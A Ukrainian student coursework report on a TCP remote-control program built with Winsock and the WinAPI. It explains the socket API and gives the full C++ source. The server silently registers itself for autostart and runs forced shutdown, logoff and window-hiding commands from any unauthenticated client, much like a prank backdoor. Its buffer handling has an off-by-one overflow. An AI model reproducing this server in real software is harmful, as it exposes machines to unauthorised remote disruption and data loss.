Вступ
Розвиток сучасного суспільства характеризується підвищенням технічного рівня, ускладненням організаційної структури як програмного, так і апаратного забезпечення. Все більше і більше наше виробництво потребує автоматизації, це полягає у можливому керуванні роботою на великій відстані, застосовуючи цілі блоки виробництва, ієрархічні контролі на можливості управління цілими системами за допомогою віддаленого керування.
Щоб отримати певну користь та практичність потрібно створювати мережі:
локальні мережі,- для подальшого їх розвитку,налагодження та керуванням;
Глобальна мережа,- можливості представлення свого продукту,та більш широкий діапазон користувачів.
Для передачі даних, використовується протокол керування передачею, відомий нам як TCP, та протокол Інтернет IP. TCP/IP – набір, або комплект протоколів, де вони представляють розбивання вихідного повідомлення на пакети (TCP), доставку пакетів на вузол адресата (IP) і збирання (відновлення) вихідного повідомлення з пакетів (TCP). Оскільки це є базовою та вихідною інформацією, розглянений приклад нашої програми також працює із даним протоколом, та підпорядковується усім загальним поняттям,- законам передачі інформації PCP/IP.
Вирішення мережевої задачі можна розбити на такі етапи:
Побудова загального проектного завдання.
Знаходження оптимального рішення одним із відомих способів.
Реалізація, та створення даної системи.
Побудова загального проектного завдання складається в створенні спрощеної моделі, у якій формально відображенна структура досліджувального процесу. При цьому особлива увага повинна бути приділена відбитті в моделі всіх істотних особливостей завдання й облік всіх обмежуючих умов, які можуть вплинути на результат. Потім визначається мета рішення, вибирається критерій оптимальності й дається загальне формулювання завдання.
Складовою частиною моделювання даної задачі, є використання API програмування. Прикладний програмний інтерфейс забезпечує абстракційне зображення. Це дозволяє перейти на більш високий рівень програмного забезпечення. Використання Windows Api дозволяє використовувати програму у операційній системі Windows, що має сьогодні велику кількість користувачів , а отже може набути чималої популярності серед користувачів.
На сьогоднішній час, розвиток таких продуктів забезпечує практичність використання Інтернету, та подальше його розширення в цій галузі. Багато етапність кожного процесу забезпечує точність виконання тої чи іншої функції, що особливо зменшує проблеми із використанням такого продукту.
1. Загальні відомості
Огляд сокетів:
IP (Internet Protocol, Протокол Інтернету) - це протокол маршрутизації нижнього рівня, який розділяє дані на невеликі пакети і посилає їх за різними адресами через мережу, але не гарантує доставку відправлених пакетів пункту призначення.
TCP (Transmission Control Protocol, Протокол управління передачею) - це протокол більш високого рівня, що вміє з'єднувати разом пакети, сортуючи і ретранслюючи їх у міру необхідності для надійної передачі даних.
Третій протокол - UDP (User Datagram Protocol, дейтаграмним протокол користувача) - слід за TCP, може застосовуватися безпосередньо для підтримки швидкої, без встановлення з'єднання, але ненадійного транспортування пакетів.
Сервер - це ресурс який розділяється і колективно використовується. Існують обчислювальні сервери, які забезпечують обчислювальну потужність; сервери друку, які управляють сукупністю принтерів; дискові сервери, які надають що працює в мережі дисковий простір, і Web-сервери, які зберігають Web-сторінки.
Клієнт - будь-який інший об'єкт, який хоче отримати доступ до специфічного сервера.
Умова побудованої задачі:
З’єднати дві ЕОМ, на клієнт-серверному рівні, застосовуючи протокол TCP/IP.
Передати, та отримати данні,- повідомлення від клієнта до сервера.
Створити функції що забезпечують виконання заданої дії сервером.
2. Функціональне призначення
2.1 Призначення програми
Програма призначена для віддаленого керування комп’ютера через локальну та глобальну мережі.
2.2 Вибір середовища програмування
Для вирішення задачі було оглянуто та порівняно такі мови як С++ та Java. Ознайомившись із перевагами та недоліками кожної із програм було вирішено вибрати середовище програмування Microsoft Visual Studio 2008 з мовою С++.
У С++ можливе опрацювання на низькому рівні з пам'яттю, адресами, портами, що дозволяє більш ширше використовувати ті, чи інші функції. Java потребує встановлення спеціально віртуальної машини, не має підтримки процедурного програмування що доволі суттєво може позначитись на дії програми.
При програмуванні на мові С++ використовуються API функції Windows,- це дозволило більш обширно ознайомитись із оформленням візуальним інтерфейсом, та розглянути загальні принципи зв’язку із Windows.
3. Аналіз методів рішення задачі
3.1 Постановка задачі. Та її компоненти
Прикладний програмний інтерфейс платформи Win32 має хороші можливості для створення мережених програм. В операційній системі Windows наявна бібліотека, яка надає можливість працювати з базовою технологією передачі даних – сокетами. Сокети – програмні інтерфейси взаємодії програм. На базі сокетів спроектовано величезну кількість програм для роботи з мережею та написано багато бібліотек, які слугують «обгортками» для сокетів, щоб абстрагуватися від деталей реалізації передачі даних.
Сокети побудовані на концепції «клієнт-сервер». Тобто одна машина (програма) виступає в ролі сервера, яка надає (виконує) сервіс, а інша в ролі клієнта, що дає запит серверу на виконання тих чи інших операцій. Все це добре інкапсульовано в потужних бібліотеках роботи з мережею, які дають можливість будувати потужне програмне забезпечення. Крім того, на базі сокетів працюють найпоширеніші протоколи 7-го (прикладного) рівня моделі OSI, такі як ftp, http, smtp, pop3 і т.д.
Розгляну передачу даних по протоколу TCP\IP, тобто дані будуть передаватися зі встановленням з'єднання. Для цього я використовою функції API платформи Win32. Спочатку розгляну сам алгоритм передачі даних. Оскільки дані передаються від машини до машини, то одна з них має виступати сервером (на ній повинна стояти серверна частина програми), а інша клієнтом (на ній має знаходитись клієнтська частина програми). Оскільки клієнт надсилає інструкції, а сервер приймає повідомлення від клієнта і виконує команди, то алгоритми роботи сервера і клієнта відрізняються.
Що собою представляють сервер та клієнт:
Сервер.
Ініціалізація бібліотеки.
Створення сокету.
Заповнення структури параметрами сервера.
Асоціювання сокету зі структурою.
Прослуховування порту.
Прийняття підключення клієнта.
Отримання даних (інструкцій) від клієнта.
Закриття сокету.
Клієнт.
Ініціалізація бібліотеки.
Створення сокету.
Заповнення структури параметрами сервера.
З’єднання з сервером.
Відсилання даних (інструкцій) серверу.
Закриття сокету.
Ініціалізація бібліотеки потрібна для того, щоб завантажити необхідну її версію. Далі створюється сокет (програмний інтерфейс взаємодії). Через ці сокети відбувається обмін інформацією між клієнтом і сервером. Потім заповнюється відповідна структура з параметрами з’єднання.
На сервер кладеться відповідальність за прослуховування порту (чи не хоче до нього звернутись клієнт…). Якщо такий клієнт є, то сервер повинен дозволити підключитись клієнту. Далі сервер отримує від клієнта дані (інструкції). Після отримання інструкцій, сервер виконує їх.
Клієнт зі своєї сторони робить наступні дії. Пробує з’єднатися з сервером. Після вдалої спроби він відсилає інструкції серверу. Потім чекає відповіді від сервера. Після цього обидві сторони закривають з’єднання.
Коли присутні декілька клієнтів та один сервер, дії виконуються принципом черги, коли кожний із клієнтів звертається із запитом до сервера, сервер виконує цей запит, видає результат, обробка інформації була проведена і до черги записується новий клієнт, «обслуговується». При такій системі опрацювання значно зменшується ризик розриву із сервером, це особливо має значення для мережевих з’єднань.
3.2 Функції та структури, які беруть участь реалізації алгоритму передачі даних
Перша функція – функція завантаження бібліотеки. Прототип:
int WSAStartup(
WORD wVersionRequested,
LPWSADATA lpWSAData
);
Параметр wVersionRequested (in) – версія бібліотеки, яку потрібно завантажити. Молодший байт визначає основну версію, старший – доповняльну.
Параметр lpWSAData (out) – інформація про завантажену бібліотеку.
Функція повертає нуль у разі успішного завантаження. Інакше – код помилки.
Після того, як необхідна версія бібліотеки завантажена, необхідно створити сам сокет. Функція, що відповідає за створення сокету має наступний прототип:
SOCKET socket(
int af,
int type,
int protocol
);
Параметр af (in) - визначає сімейство адрес, що використовуватимуться при передачі даних через сокети. Найчастіше використовується значення параметру AF_INET = 2. Інші варіанти параметру розглядати не будемо.
Параметр type (in) - визначає тип створюваного сокету. Найчастіше використовується значення SOCK_STREAM. Даний параметр означає, що використовувати протокол із сімейства TCP при передачі даних. При з’єднані по сімейству протоколів UDP використовується значення SOCK_DGRAM.
Параметр protocol (in) - визначає сам протокол, що буде використовуватися при передачі даних. В даному випадку використовуватимемо значення IPPROTO_TCP.
Функція повертає дескриптор створеного сокету.
Далі потрібно занести дані, що визначають основні параметри підключення, в спеціальну структуру. Структура виглядає так:
struct sockaddr_in{
short sin_family;
unsigned short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
Параметри:
sin_family
Визначає сімейство адрес. Повинен бути AF_INET.
sin_port
Визначає порт IP.
sin_addr
Визначає адресу IP.
sin_zero
Параметр не заповнюється. Визначає розмір структури SOCKADDR.
Після заповнення структури необхідно асоціювати її з сокетом сервера, який повинен приймати через нього дані.
int bind(
SOCKET s,
const struct sockaddr* name,
int namelen
);
Параметр s (in) - сокет, який асоціюється зі структурою.
Параметр name (in) - сама структура, з якою асоціюється сонет.
Параметр namelen (in) - розмір попереднього параметра в байтах.
Функція в разі успіху повертає нуль. В іншому разі – код помилки.
Далі сервер має прослуховувати порт. Здійснюється це за допомогою наступної функції:
int listen(
SOCKET s,
int backlog
);
Параметр s (in) – сокет, який переводиться в режим прослуховування.
Параметр backlog (in) – максимальна кількість підключень до сервера.
Функція в разі успіху повертає нуль. В іншому разі – код помилки.
Після того, як знайдеться клієнт, який хоче підключитись до сервера, сервер приймає підключення. Здійснюється це наступною функцією:
SOCKET accept(
SOCKET s,
struct sockaddr* addr,
int* addrlen
);
Параметр s (in) – сокет, який приймає підключення.
Інші два параметри – вихідні і нас не дуже стосуються. Їх можна виставити в NULL.
Функція повертає дескриптор сокету, що прийняв підключення. В разі невдачі повертає код помилки.
Якщо клієнт підключився до сервера, то сервер може отримувати від клієнта дані або інструкції для дій. Для цього існує наступна функція:
int recv(
SOCKET s,
char* buf,
int len,
int flags
);
Параметр s (in) – сокет, через який передаються дані.
Параметр buf (out) – буфер даних.
Параметр len (in) – величина буферу вхідних даних даних, в байтах.
Параметр flags (in) – спеціальний флаг, який можна встановити в нуль.
Функція, в разі успіху, повертає кількість прийнятих байт. Інакше – код помилки.
Після виконання операцій з’єднання можна закрити. Для цього існує наступна функція:
int shutdown(
SOCKET s,
int how
);
Параметр s (in) – сокет.
Параметр how (in) – можна виставити в SD_BOTH. Інші значення розглядати не будемо.
Функція в разі успіху повертає нуль. В іншому разі – код помилки.
І вкінці кінців, потрібно закрити сокет. Це робить функція:
int closesocket(
SOCKET s
);
Єдиний вхідний параметр s – сокет, який треба закрити.
Функція в разі успіху повертає нуль. В іншому разі – код помилки.
Зі сторони клієнта необхідно також виконати три перших етапи. Після завантаження бібліотеки, створення сокету та заповнення даними структури, що асоціюється із сонетом, клієнт повинен з’єднатися з сервером. З’єднання відбувається за допомогою функції:
int connect(
SOCKET s,
const struct sockaddr* name,
int namelen
);
Функція приймає вхідні параметри:
Параметр s (in) – сокет, через який клієнт з’єднується з сервером.
Параметр name (in) – ім’я сокету, вказаного в структурі sockaddr, до якого буде під’єднуватися клієнт.
Параметр namelen (in) – розмір структури, в байтах.
Після з‘єднання клієнт може відправляти серверу інструкції (дані). Функція, що здійснює цю операцію, має прототип:
int send(
SOCKET s,
const char* buf,
int len,
int flags
);
Параметри мають такі ж значення, як і в раніше розглянутій функції recv.
Опціонально, клієнт може отримувати результат від сервера. Наприклад, клієнт може бути сповіщений про будь-який крок виконання дій вищерозглянутими функціями – успішне або невдале їх виконання.
Після завершення всіх операцій з’єднання і сокет потрібно закрити. Ці функції я вже розглядав вище.
Було б доцільно згадати про те, що всі вищенаведені функції працюють із першої версії бібліотеки. Але можуть бути використані і в наступних версіях, так як підтримуються розробниками. В другій версії можна використовувати більш «продвинуті» функції, які мають більші можливості. Ці функції відрізняються приставкою WSA та кількістю параметрів.
4. Технічні засоби, що використовуються у програмі
Для коректної роботи програми необхідна наступна конфігурація хоча б двох комп’ютерів :
Процесор - довільний.
Жорсткий диск більше 2 Гбайт.
Тип монітору - позамовчуванню.
Розширення екрана, 32-бітна палітра кольорів(клієнт частина).
Об’єм оперативної пам’яті - 64MB.
Наявність клавіатури , миші, CDROM.
Зєднання по локальній або глобальній мережі.
OS: Windows XP, Windows 2000, , Windows 98, Windows7.
5. Виклик та завантаження програми
Щоб викликати дану програму необхідно встановити клієнтську частину на одно із комп’ютерів, та серверну частину на іншому. Дізнатись IP адресу чи LAN нажавши «властивості» на мережеве зєднання, або набравши команду ipconfig в «запуск програм».
Серверна програма при запуску завантажується у оперативну пам’ять та в подальшому не потребує підкачки ресурсів, подальші функції програми будуть здійснюватись безпосередньо напряму із командами ОС.
Клієнтська програма завантажується відповідно до потреб користувача, та зв’язується в подальшому із сервером через апаратні пристрої.
6. Вхідні і вихідні дані
Вхідними даними є адреса сервера та вибір відправлення одного із текстових повідомлень на сервер:
Opencdrom
Closecdrom
Monitorpoweroff
Monitorpoweron
Lockworkstation
Logoff
Reboot
Poweroff
Minimizewindow
Hidewindow
Lockwindow
Swaplefttoright
Swaptonormal
Messagebox
Вихідним результатом ми отримаємо дію яка буде відбуватись безпосередньо на сервері
7. Розробка структури програми
Клієнтська частина:
int Done()// передання Сокету
BOOL CALLBACK Proc(HWND, UINT, WPARAM, LPARAM); // звертання до головного вікна
BOOL CALLBACK DlgProc1(HWND hdWnd,UINT mes,WPARAM wParam,LPARAM lParam); //Звертання до вікна "Про програму"
INT APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, INT) //точка входу в програму
Серверна частина:
DWORD APIENTRY ClientThread(LPVOID);//прийняття повідомлення
DWORD APIENTRY NetThread(LPVOID);//прийняття сокетаь
INT APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, INT) //Main прграми
VOID OpenCDROM();//відкриття CDROm
VOID CloseCDROM();//закриття CDROM
VOID AutoRun();//додавання програми до авторану
VOID WindowsExit(UINT); //вимкнення компютера
8 Інструкція для користувача
Для того щоб працювати з даним проектом потрібно:
Запустити серверну програму на одному з комп’ютерівж
Запустити клієнтську програму на іншому комп’ютері, після чого виконати такі дії:
Ввести в поле айпі сервера:
(рис. 8.1).
Вибрати команду із поданих нам варіантів та напис тнути кнопку «виконати»:
Висновки
В даний час задачі представленого типу набувають все більшого і більшого застосування. Це пов’язано з тим, що комп’ютерний світ розвивається, а із цим і глобальна мережа, і як наслідок необхідність в якомога коротший термін і з найбільшою легкістю виконати ті чи інші операції. Саме задачі про віддалене адміністрування дозволяють це зробити. Такі задачі мають майбутнє і їхнє використання набуває все більшого оберту.
Будь яка галузь може використовувати дану програму, у різних для неї цілях, чи то передачі інформації із подальшим її опрацюванням, чи то передача простих сигналів, від яких залежатиме та чи інша дія «системи». До цієї задачі зводиться велика кількість продуктів, що мають подібних характер, адже саме в них вбудована базова комплекція передавання та отримання сокетів.
У цій курсовій задачі ми розглянули програму віддаленого керування, розглянувши основні її положення, методи реалізації, та саму структуро мережевого програмування.
Список літератури:
Информационний сервер для програмистов http://sources.ru/cpp/faqs/46.htm : Сетевое программирование. Режим доступа: : http://sources.ru/index.html– Загл. с экрана.
WinMain - application entry point http://www.toymaker.info/Games/html/winmain.html. WinMain definition. Режим доступа http://www.toymaker.info/
Передача даних по мережі Сокети http://winmaster.org.ua/2009-05-05-13-26-39.html . Програмування під Win 32 на C++. Режим доступу http://winmaster.org.ua/
4.100 команд из командной строки. http://research.sputtv.com/news/1401.html. «Полезно | Интересно». Режим доступа http://research.sputtv.com/
5. Матеріал з Вікіпедії — вільної енциклопедії. http://uk.wikipedia.org/wiki/TCP/IP Вільна енциклопедія. Режим доступу http://uk.wikipedia.org/
6.Windows Programming : windows.h and winsock.h in visual С++ http://www.cplusplus.com/forum/windows/3224/ . Сplusplus. Режим доступу http://www.cplusplus.com
Практичний посібник по створенню та роботі з WEB-сторінками та WEB-Mail скриньками в мережі INTERNET із дисципліни «Інформатика та комп’ютерна техніка» для студентів спеціальності 6104, 05 денної форми навчання / Укл.: Т.О.Кучерява, О.Ф.Клименко. — К.: КНЕУ, 2001. — 40 с.
Сети WINDOWS NT 4.0 / Д.Д.Пули и др.; Пер. с англ. — Л.: ВНУ, 1997. — 798 с.
Прангишвили И. В. Микропроцессоры и локальные сети ПЭВМ в распределенных системах управления. — М.: Энергоатомиздат, 1995. — 272 с.
Додатки
Додаток А Блок схема сервера та клієнта:
Додаток Б Лістинг програми
Клієнт:
#include <winsock2.h>
#include "resource.h"
#include <string.h>
#pragma comment (lib, "ws2_32.lib")
static HWND hWndDlg;//ідентифікатор доступу вікна API
int Done();//обявлення функції Done
BOOL CALLBACK Proc(HWND, UINT, WPARAM, LPARAM); //Звертання до головного вікна
BOOL CALLBACK DlgProc1(HWND hdWnd,UINT mes,WPARAM wParam,LPARAM lParam); //Звертання до вікна "Про програму"
HINSTANCE hInstExe;
INT APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, INT) //точка входу в програму
{
WSADATA wsd;
if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
return -1;
HANDLE hThread;
DWORD dwThreadID;
hInstExe = hInstance;
DialogBox(hInstance, (LPSTR)IDD_DIALOG1, NULL, (DLGPROC)Proc);
return 0;
}
char szMessage[255];//Повідомлення Серверу
char szServerName[255];//Адреса Серверу
BOOL CALLBACK Proc(HWND hWndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)//опрацювання діалогового вікна 1
{
HANDLE hThread;
DWORD dwThreadID;
HICON hIcon;
switch(uMsg)
{
case WM_INITDIALOG:
break;
case WM_COMMAND://виконування команд із форми 1
switch (wParam)
{
case IDC_BUTTON1:
DialogBox(hInstExe, MAKEINTRESOURCE(IDD_DIALOGBAR), hWndDlg, DlgProc1);
break;
case IDC_DONE:
GetDlgItemText (hWndDlg,IDC_HOST,szServerName,256);
Done();
MessageBeep(48);
break;
case IDC_RADIO1:
strcpy(szMessage, "opencdrom");MessageBeep(48);
break;
case IDC_RADIO2:
strcpy(szMessage, "closecdrom");MessageBeep(48);
break;
case IDC_RADIO3:
strcpy(szMessage, "monitorpoweroff");MessageBeep(48);
break;
case IDC_RADIO4:
strcpy(szMessage, "monitorpoweron");MessageBeep(48);
break;
case IDC_RADIO5:
strcpy(szMessage, "lockworkstation");MessageBeep(48);
break;
case IDC_RADIO6:
strcpy(szMessage, "logoff");MessageBeep(48);
break;
case IDC_RADIO7:
strcpy(szMessage, "reboot");MessageBeep(48);
break;
case IDC_RADIO8:
strcpy(szMessage, "poweroff");MessageBeep(48);
break;
case IDC_RADIO9:
strcpy(szMessage, "minimizewindow");MessageBeep(48);
break;
case IDC_RADIO10:
strcpy(szMessage, "hidewindow");MessageBeep(48);
break;
case IDC_RADIO11:
strcpy(szMessage, "lockwindow");MessageBeep(48);
break;
case IDC_RADIO12:
strcpy(szMessage, "swaplefttoright");MessageBeep(48);
break;
case IDC_RADIO13:
strcpy(szMessage, "swaptonormal");MessageBeep(48);
break;
case IDC_RADIO14:
strcpy(szMessage, "messagebox");MessageBeep(48);
break;
}
break;
case WM_CLOSE:
EndDialog(hWndDlg,0);
break;
}
return FALSE;
}
BOOL CALLBACK DlgProc1(HWND hdWnd, UINT mes, WPARAM wParam, LPARAM lParam)//опрацювання діалогового вікна 2
{
switch(mes)
{
case WM_COMMAND://виконування команд із форми 2
{
switch(LOWORD(wParam))
{
case IDC_BUTTON2: {
EndDialog(hdWnd,0);
break;
}
}
}
default:
return DefWindowProc(hdWnd, mes, wParam+10, lParam+10);
}
return 1;
}
int Done()//функція із опрацюванням сокетів
{
SOCKETsClient;
intret;
sockaddr_in server;
hostent*host = NULL;
sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sClient == INVALID_SOCKET)
{
MessageBox(0, "Неможливе створення сокета", "Error", 0);
return 1;
}
server.sin_family = AF_INET;
server.sin_port = htons(5050);
server.sin_addr.s_addr = inet_addr(szServerName);
if (server.sin_addr.s_addr == INADDR_NONE)
{
host = gethostbyname(szServerName);
if (host == NULL)
{
MessageBox(0, "Звязок із сервером був втрачений", "Error", 0);
return 1;
}
CopyMemory(&server.sin_addr, host->h_addr_list[0],
host->h_length);
}
if (connect(sClient, (struct sockaddr *)&server,
sizeof(server)) == SOCKET_ERROR)
{
MessageBox(0, "Не вдається зєднатись із сервером", "Error", 0);
return 1;
}
ret = send(sClient, szMessage, strlen(szMessage), 0);
if (ret == SOCKET_ERROR)
MessageBox(0, "Операція надсилання сокета перервана", "Error", 0);
Sleep(1000);
closesocket(sClient);
return 1;
}
Сервер:
#define _WIN32_WINNT0x501 //підключення маніфесту
#include <winsock2.h>
#include <mmsystem.h>
#pragma comment (lib, "ws2_32.lib")
#pragma comment (lib, "winmm.lib")
#define AutoStartTEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run") //додання до авторану
DWORD APIENTRY ClientThread(LPVOID);//прийняття повідомлення
DWORD APIENTRY NetThread(LPVOID);//прийняття сокета
VOID OpenCDROM();
VOID CloseCDROM();
VOID AutoRun();
VOID WindowsExit(UINT);
INT APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, INT) //Main прграми
{
AutoRun();
WSADATA wsaData;
int err = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (err != 0)
return -1;
NetThread(NULL);
return 0;
}
DWORD WINAPI ClientThread(LPVOID lpParam) //прийняття повідомлення та подальше його опрацювання
{
SOCKETsock=(SOCKET)lpParam;
TCHARszRecvBuff[1024],szSendBuff[1024];
UINTret;
while(1)
{
ret = recv(sock, szRecvBuff, 1024, 0);
if (ret == 0)
break;
else if (ret == SOCKET_ERROR)
break;
szRecvBuff[ret] = '\0';
if(strcmp(szRecvBuff,"monitorpoweroff")==0)
PostMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,2l);
if(strcmp(szRecvBuff,"monitorpoweron")==0)
PostMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,-1);
if(strcmp(szRecvBuff,"lockworkstation")==0)
LockWorkStation();
if(strcmp(szRecvBuff,"logoff")==0)
WindowsExit(EWX_LOGOFF | EWX_FORCE);
if(strcmp(szRecvBuff,"reboot")==0)
WindowsExit(EWX_REBOOT | EWX_FORCE);
if(strcmp(szRecvBuff,"poweroff")==0)
WindowsExit(EWX_POWEROFF | EWX_FORCE);
if(strcmp(szRecvBuff,"minimizewindow")==0)
CloseWindow(GetForegroundWindow());
if(strcmp(szRecvBuff,"hidewindow")==0)
ShowWindow(GetForegroundWindow(),SW_HIDE);
if(strcmp(szRecvBuff,"lockwindow")==0)
EnableWindow(GetForegroundWindow(),FALSE);
if(strcmp(szRecvBuff,"opencdrom")==0)
OpenCDROM();
if(strcmp(szRecvBuff,"closecdrom")==0)
CloseCDROM();
if(strcmp(szRecvBuff,"swaplefttoright")==0)
SwapMouseButton(TRUE);
if(strcmp(szRecvBuff,"swaptonormal")==0)
SwapMouseButton(FALSE);
if(strcmp(szRecvBuff,"messagebox")==0)
MessageBox(NULL,"Не чекали, а я тут є =)","Привіт!",MB_OK);
}
return 0;
}
DWORD WINAPI NetThread(LPVOID lpParam)//прийняття сокета
{
SOCKETsServerListen,sClient;
sockaddr_in localaddr,clientaddr;
HANDLEhThread;
DWORDdwThreadId;
INTiSize;
sServerListen = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (sServerListen == SOCKET_ERROR)
return 0;
localaddr.sin_addr.s_addr = htonl(INADDR_ANY);
localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(5050);
if (bind(sServerListen, (struct sockaddr *)&localaddr, sizeof(localaddr)) == SOCKET_ERROR)
return 1;
listen(sServerListen, 4);
while (1)
{
iSize = sizeof(clientaddr);
sClient = accept(sServerListen, (struct sockaddr *)&clientaddr,&iSize);
if (sClient == INVALID_SOCKET)
break;
hThread = CreateThread(NULL, 0, ClientThread, (LPVOID)sClient, 0, &dwThreadId);
if (hThread == NULL)
break;
CloseHandle(hThread);
}
closesocket(sServerListen);
return 0;
}
VOID WindowsExit(UINT uFlags)//Вимкнення компютера
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
DWORD ReturnLength;
LUID Luid;
LPCTSTR SE_SHUTDOWN_STRING=TEXT("SeShutdownPrivilege");
if (OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
{
LookupPrivilegeValue(NULL, SE_SHUTDOWN_STRING, &Luid);
tkp.Privileges[0].Luid = Luid;
tkp.PrivilegeCount=1;
tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL,&ReturnLength))
ExitWindowsEx(uFlags, 0);
}
}
VOID OpenCDROM()//відкриття CDROM
{
MCI_OPEN_PARMS OpenParm;
MCI_SET_PARMS SetParm;
MCIDEVICEID dID;
OpenParm.lpstrDeviceType="CDAudio";
mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, (DWORD_PTR)&OpenParm);
dID = OpenParm.wDeviceID;
mciSendCommand(dID, MCI_SET, MCI_SET_DOOR_OPEN,(DWORD_PTR)&SetParm);
mciSendCommand(dID, MCI_CLOSE, MCI_NOTIFY, (DWORD_PTR)&SetParm);
}
VOID CloseCDROM()// Закритти CDROM
{
MCI_OPEN_PARMS OpenParm;
MCI_SET_PARMS SetParm;
MCIDEVICEID dID;
OpenParm.lpstrDeviceType="CDAudio";
mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, (DWORD_PTR)&OpenParm);
dID = OpenParm.wDeviceID;
mciSendCommand(dID,MCI_SET,MCI_SET_DOOR_CLOSED,(DWORD_PTR)&SetParm);
mciSendCommand(dID, MCI_CLOSE, MCI_NOTIFY, (DWORD_PTR)&SetParm);
}
VOID AutoRun()//додавання до автозавантаження
{
HKEY hKey;
TCHAR szFileName[MAX_PATH];
GetModuleFileName(GetModuleHandle(NULL),szFileName,MAX_PATH);
RegOpenKeyEx(HKEY_CURRENT_USER,AutoStart,0,KEY_WRITE,&hKey);
RegSetValueEx(hKey,"SERVER",0,REG_SZ,(BYTE*)szFileName,(DWORD)strlen(szFileName));
}
Додаток В Тестовий приклад
Розглянемо роботу програми та її аспекти:
1) Запуск серверної частини.
Програма запускається та автоматично додається до авторану, вимкнути її можливо за допомогою виклику «Диспетчера завдань».
2) Запуск Клієнтської частини.
3) Після запуску з’являється вікно в якому будуть проводитись різні дії.
4) У полі «Введіть Host/IP» вводимо IP того комп’ютера на якому встановлена наша програма, в інакшому випадку при виборі команди та надсиланні запита на сервер отримаємо повідомлення про помилку.
5) Вибір команди яка буде виконана на серверній програмі.
6) Отримано повідомлення із клієнта та виконання заданої ним дії.
4